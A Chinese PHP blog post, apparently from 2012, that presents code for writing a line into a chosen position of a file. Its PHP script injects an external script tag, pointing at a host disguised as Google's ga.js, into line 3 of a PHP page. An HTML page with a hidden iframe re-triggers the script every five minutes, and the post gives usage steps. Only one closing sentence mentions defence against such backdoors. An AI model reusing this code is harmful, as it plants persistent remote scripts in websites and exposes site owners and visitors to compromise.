php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
实现树状结构的两种方法
Oct 09 PHP
在php MYSQL中插入当前时间
Apr 06 PHP
php 图像函数大举例(非原创)
Jun 20 PHP
PHP HTML代码串 截取实现代码
Jun 29 PHP
php中对2个数组相加的函数
Jun 24 PHP
PHP错误Warning: Cannot modify header information - headers already sent by解决方法
Sep 27 PHP
smarty内置函数{loteral}、{ldelim}和{rdelim}用法实例
Jan 22 PHP
试用php中oci8扩展
Jun 18 PHP
php遍历替换目录下文件指定内容的方法
Nov 10 PHP
PHP使用PDO调用mssql存储过程的方法示例
Oct 07 PHP
Laravel如何同时连接多个数据库详解
Aug 13 PHP
php 中self,this的区别和操作方法实例分析
Nov 04 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
如何用php获取文件名后缀
2013/06/09 PHP
php命令行使用方法和命令行参数说明
2014/04/08 PHP
phpmyadmin配置文件现在需要绝密的短密码(blowfish_secret)的2种解决方法
2014/05/07 PHP
8个PHP程序员常用的功能汇总
2014/12/18 PHP
php设计模式之委托模式
2016/02/13 PHP
PHP搭建大文件切割分块上传功能示例
2017/01/04 PHP
laravel如何开启跨域功能示例详解
2017/08/31 PHP
swoole和websocket简单聊天室开发
2017/11/18 PHP
jquery中常用的函数和属性详细解析
2014/03/07 Javascript
用jQuery实现的智能隐藏、滑动效果的返回顶部代码
2014/03/18 Javascript
jQuery+jRange实现滑动选取数值范围特效
2015/03/14 Javascript
JavaScript核心语法总结(推荐)
2016/06/02 Javascript
jQuery插件编写步骤详解
2016/06/03 Javascript
jquery层级选择器(匹配父元素下的子元素实现代码)
2016/09/05 Javascript
微信小程序 自定义Toast实例代码
2017/06/12 Javascript
Vue配合iView实现省市二级联动的示例代码
2018/07/27 Javascript
vue实现百度下拉列表交互操作示例
2019/03/12 Javascript
说说如何使用Vuex进行状态管理(小结)
2019/04/14 Javascript
Node.js中的异步生成器与异步迭代详解
2021/01/31 Javascript
python通过定义一个类实例作为ftp回调方法
2015/05/04 Python
python查看微信好友是否删除自己
2016/12/19 Python
简单了解OpenCV是个什么东西
2017/11/10 Python
利用Django模版生成树状结构实例代码
2019/05/19 Python
Python SQLAlchemy库的使用方法
2020/10/13 Python
如何在网站上添加谷歌定位信息
2016/04/16 HTML / CSS
ETO男装官方网店:ETO Jeans
2019/02/28 全球购物
是什么让J2EE适合用来开发多层的分布式的应用
2015/01/16 面试题
制冷与电控专业应届生求职信
2013/11/11 职场文书
优秀毕业生求职推荐信范文
2013/11/21 职场文书
2014升学宴答谢词
2014/01/26 职场文书
护士见习期自我鉴定
2014/02/08 职场文书
抗洪抢险事迹材料
2014/05/06 职场文书
团员自我评价范文
2015/03/10 职场文书
PHP面试题 wakeup魔法 Ezpop pop序列化与反序列化
2022/04/11 PHP
golang用type-switch判断interface的实际存储类型
2022/04/14 Golang
apache虚拟主机配置的三种方式(小结)
2022/07/23 Servers